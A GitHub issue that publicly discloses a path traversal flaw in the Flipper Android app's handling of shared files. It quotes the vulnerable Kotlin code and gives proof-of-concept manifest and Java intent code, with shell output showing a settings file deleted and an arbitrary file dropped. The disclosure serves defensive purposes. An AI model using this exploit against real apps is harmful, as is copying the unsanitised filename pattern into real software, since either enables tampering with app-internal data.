Skip to content

Malicious App Can Write/Delete Arbitrary Files in App Internal Storage #877

@LiveOverflow

Description

@LiveOverflow

Describe the bug
There is a security issue in the way how the app handles shared files via a android.intent.action.SEND intent. The DeepLinkFileUriCopy.kt class trusts an attacker controlled filename when creating a cache path, leading to a path traversal issue. This can be used by a malicious app in two ways:

  • A path traversal to an existing internal file will delete the file
  • Use the path traversal to drop an arbitrary file in any internal app folder

So the impact depends on the creativity of the dropped file. I'm sure with a bit of time one could come up with a nice attack here.

I have reported this via the email listed on the Security tab on 18. May 2024, and again on 27. May 2024 and have since then not received a response. That's why I am reporting it publicly now here. Also to be honest, I don't see a realistic risk for users, so I think that's fine. Should still be fixed though.

DeepLinkFileUriCopy.kt

The /components/deeplink/impl/src/main/java/com/flipperdevices/deeplink/impl/parser/delegates/DeepLinkFileUriCopy.kt file takes the Uri
from an incoming intent and attempts to copy the file into the internal cache folder.
The uri.filename is attacker controlled and can be used as a path traversal.

private suspend fun buildInternalFile(
    contentResolver: ContentResolver,
    cacheDir: File,
    uri: Uri
): DeeplinkContent? = withContext(Dispatchers.IO) {
    val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString()
    val temporaryFile = File(cacheDir, filename)
    if (temporaryFile.exists()) {
        temporaryFile.delete()
    }
    val exception = runCatching {
        contentResolver.openInputStream(uri).use { inputStream ->
            temporaryFile.outputStream().use { outputStream ->
                inputStream?.copyTo(outputStream)
            }
        }
    }.exceptionOrNull()
    // [...]

val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString()

Proof of Concept

Have a look at the attached AttackProvider.java. This malicious content provider sent to the Flipper app returns a path traversal filename upon query()
and return arbitrary data via openFile().

Register the provider in the attacker's manifest:

<provider
    android:name=".AttackProvider"
    android:authorities="io.hextree.flipperdown.provider"
    android:enabled="true"
    android:exported="true">
</provider>

Trigger the malicious android.intent.action.SEND intent specifying our malicious content provider in the intent data section.

findViewById(R.id.btn_trigger).setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.setClassName("com.flipperdevices.app", "com.flipperdevices.singleactivity.impl.SingleActivity");
        intent.setAction(Intent.ACTION_SEND);
        intent.addCategory(Intent.CATEGORY_DEFAULT);
        intent.setDataAndType(Uri.parse("content://io.hextree.flipperdown.provider/write"),"text/*");
        intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://io.hextree.flipperdown.provider/xxx"));
        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        startActivity(intent);
    }
});

Steps to Reproduce

Install and launch the provided proof of concept flipperdown.apk].

Check the content of the internal /datastore/ folder (Note to verify the existence of the written file, the internal folder can only be accessed with root access).
Alternatively set a breakpoint in the DeepLinkFileUriCopy class to observe the path traversal.

emulator64_arm64:/ # su
emulator64_arm64:/ # ls -lah /data/data/com.flipperdevices.app/files/datastore/
total 8.0K
drwx------ 2 u0_a126 u0_a126 4.0K 2024-05-18 20:23 .
drwxrwx--x 3 u0_a126 u0_a126 4.0K 2024-05-18 19:51 ..
-rw------- 1 u0_a126 u0_a126    4 2024-05-18 19:51 pair_settings.pb
-rw------- 1 u0_a126 u0_a126   43 2024-05-18 19:45 settings.pb

The application implements two attacks. One to delete the pair_settings.pb file and one to drop a new file hextree.io.

emulator64_arm64:/ # ls -lah /data/data/com.flipperdevices.app/files/datastore/
total 8.0K
drwx------ 2 u0_a126 u0_a126 4.0K 2024-05-18 20:25 .
drwxrwx--x 3 u0_a126 u0_a126 4.0K 2024-05-18 19:51 ..
-rw------- 1 u0_a126 u0_a126   39 2024-05-18 20:24 hextree.io
-rw------- 1 u0_a126 u0_a126   43 2024-05-18 19:45 settings.pb

kind regards,
LiveOverflow from hextree.io

Gist report: https://gist.github.com/LiveOverflow/51d3dc0714fd6eaac24f85e4533b4547

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions